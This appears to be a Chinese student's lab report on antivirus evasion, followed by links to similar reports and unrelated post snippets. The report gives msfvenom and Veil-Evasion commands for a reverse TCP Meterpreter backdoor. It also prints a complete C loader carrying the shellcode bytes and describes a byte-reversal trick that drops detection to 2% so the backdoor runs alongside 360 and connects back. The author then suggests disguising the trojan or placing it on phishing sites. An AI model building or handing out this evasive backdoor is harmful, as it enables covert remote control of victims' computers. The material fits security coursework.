Exp3 免杀原理与实践#

20154305_齐帅###

想要弄懂免杀,一定得先把基础问题弄明白啊~~

一、基础问题回答#

(1)杀软是如何检测出恶意代码的?###

- -检测特征码:####

依靠分析总结出计算机病毒中常出现的部分
例如,作者名称,地址,执行关键步骤的部分代码,来作为特征码。将大量特征码保存在病毒库中,杀毒依靠检索程序代码是否和库中特征码是否吻合 优点:能较准确查杀;缺点:具有滞后性

- -启发式恶意软件检测:####

如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序

优点:能在一定程度上预防新型病毒;缺点:容易误报

- -基于行为检测:####

与启发式检测类似,只是单纯依靠监测程序行为来作为标准

(2)免杀是做什么?###

使恶意软件不被杀毒软件检测出来杀掉

(3)免杀的基本方法有哪些?###

- -改变特征码:####

- 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码
- 加壳,使其无法进行逆向,比对病毒库中的特征码

- -改变行为方式:####

例如之前注入所用到的反弹端口连接

二、开始实验测试#

弄清了这些问题,我就开始尝试对恶意代码进行伪装

1.原始版本##

将上此实验产生的后门 qishuai_backdoor.exe 文件直接拷贝到开启360的win主机下#####

直接被360逮到~~#####
添加信任以后放在 http://www.virscan.org/上扫描





48%的报毒率!!那些没查到的可能因为病毒太裸了吧~#####

接下来需要对其进行改装了

2.编码版本V1##

先对后门木马编码1次,qishuai_backdoor_v1_1.exe#####

46%的报毒率,仅仅降低了2%,那就编码10次试试,qishuai_backdoor_v1_10.exe#####

48%的报毒率??,反而更高了,这个方法不咋靠谱的~~#####

3.veil-evasion版本 qishuai_VE_4

首先需要安装它

sudo apt-get install veil-evasion

下载好之后veil开始安装,一路YES

安装好之后选择evasion工具#####

选好后根据菜单提示在现有的这些工具中选一个TCP链接的payload#####

根据菜单提示设置参数#####

set LHOST kali_ip

set LPORT 4305

设置好之后开始生成病毒

可是我选择了25和28,不知道为啥生成都失败了,过程不看了,只有个

失败的结果:#####

可见,python和powershell都没有exe可执行文件###

不过生成文件存放的文件夹还是要记住的~

最后选择了一个用C语言生成的payload,成功了:#####

如上,设置好参数

起个名字,qishuai_VE_4#####

需要在上面的文件夹把exe文件拷贝到win主机上,当然我没找到那个文件夹,只好把那个文件夹复制到主机root目录下

cp -r 要复制的文件夹绝对地址 /root

这样就可以从/root中将文件拷贝到win主机,去检测一下吧

只有15%的报毒率了!!打开360软件试一试-->

被无情拦截,看来还不行- _ -###

4.C语言调用Shellcode版本##

在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。#####
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.131 LPORT=4305 -f c

将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VE编译运行#####

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>
const char met[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xef\x83"
"\x68\x02\x00\x10\xd1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
DWORD old=0;
BOOL ret=VirtualProtect((LPVOID)met,strlen(met),PAGE_EXECUTE_READWRITE,&old);
INT32 * addr;
addr = (INT32*)&met;
__asm;
{
call addr;
}
return 0;
}

找到exe可执行文件 qishuai_shellcode_C.exe,扫描一下吧####

12%的报毒率了,降低了不少####

回连一下kali主机试一试####

上面的几个后门没有回连,因为觉得用专业软件生成的木马功能应该没什么问题,这个C的木马担心编程出现错误,就回连试了一下~

按照上此实验的方法一顿操作之后成功控制win主机,没有问题!#####

5.C调用升级版本##

将shellcode代码部分前后颠倒,就是最后的放在最前,最前的放在最后加强一下~#####

先编写一个C程序将buf[]数组内容颠倒

int i;
char a[400];
for(i=430;i>=0;i--)
{
a[430-i]=buf[i];
}
for(i=0;i<431;i++)
printf("%x,",a[i]);

大概就是这样,当时没截图,可能有错误~

将结果复制下来,去掉,再加上\x一顿整理,得到这个东西

再按照上面的C语言程序在VE下编译成exe文件,qishuai_shellcode_C_V2.exe#####
扫描一下吧~#####

可以的,不枉费我这么费劲,只有2%的报毒率!!!###

WHAT?????难怪只有2%的报毒率。。。###

再改进吧,实验的时候给老师检查一个能免杀的

ok,现在改进好了,原因就是把shellcode逆序之后还要在调用的时候把它变回来才没有问题,改了一下上边的程序源代码,加一个循环倒置就行了,现在可以和360共存了,哈哈哈!!!回连也成功了!!!报毒率只有2%##

看图吧!!###

报毒率

和360共存

回连

三、离实战还缺些什么技术或步骤?#

当然是如何使木马病毒自己运行起来呀,总不能我去别人主机双击运行吧,可以伪装一下别的软件或者放在钓鱼网站吧。

四、实验感想#

其实了解了杀软的原理也就能知道如何避免病毒被杀死,一些繁琐的操作背后都是为了改变病毒的基本特征,受用很深,也让我了解了看似安全其实不然的电脑环境安全,现在有点头晕了,凌晨1点半~,不过我还是觉得这个实马

Exp3 免杀原理与实践_05齐帅的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. C# webapi简单学习

    创建WebApi项目: 在VS工具中创建一个ASP.NET Web应用程序 选择Webapi 一个webapi项目就创建好了 这里简单的写一个post和get两种请求的方法,由于post请求参数需要参 ...

  2. 手眼标定eye-to-hand 示例:handeye_stationarycam_calibration

    * * This example explains how to use the hand eye calibration for the case where* the camera is stat ...

  3. python的apidoc使用

    一.apidoc的安装 npm install apidoc -g -g参数表示全局安装,这样在哪儿都能使用. 二.apidoc在python接口代码中的使用 def index(): "& ...

  4. 【笔记】Python基础六:模块module介绍及常用模块

    一,module模块和包的介绍 1,在Python中,一个.py文件就称之为一个模块(Module). 2,使用模块的好处? 最大的好处是大大提高了代码的可维护性 其次,编写代码不必从零开始,我们编写 ...

  5. oracle数值函数 abs()、 ceil()、 cos()、 cosh()

    1.abs绝对值函数 格式 abs(number) 即abs(数值) 例如 abs(100) 结果为 100,abs(-100)结果为100: 2.ceil用来取数值最小整数函数 格式 ceil(nu ...

  6. 基于Dapper写的一个sqlhelp适用于多版本数据库

    ConnectionInit方法用于初始化数据库连接对象, 只需要修改databasetype参数即可进行适用各个版本的数据库, ExecuteNonQuery方法用于执行增.删.改操作,返回受影响的 ...

  7. 对TCP三次握手的思考

    从第一次了解到TCP的连接方式到现在有一年半了,但好像一直没有把三次握手的由来弄透彻,解释上总有一些瑕疵在,现在来说说昨晚的思考. 对于一个通信链路,由于种种原因发送方发送的消息未必能传达到接收方,所 ...

  8. 算法练习LeetCode初级算法之数学

    Fizz Buzz class Solution { public List<String> fizzBuzz(int n) { List<String> list=new L ...

  9. gridview 选中某行后 某行的按钮显示,无选中则隐藏

    如后面的加号,选中行时出现,未被选中的隐藏 解决: 在按钮中的visibility属性中绑定该item是否选中,再用转换器转换 <Button Name="btnA" Cli ...

  10. tiny4412 --Uboot移植(6) SD卡驱动,启动内核

    开发环境:win10 64位 + VMware12 + Ubuntu14.04 32位 工具链:linaro提供的gcc-linaro-6.1.1-2016.08-x86_64_arm-linux-g ...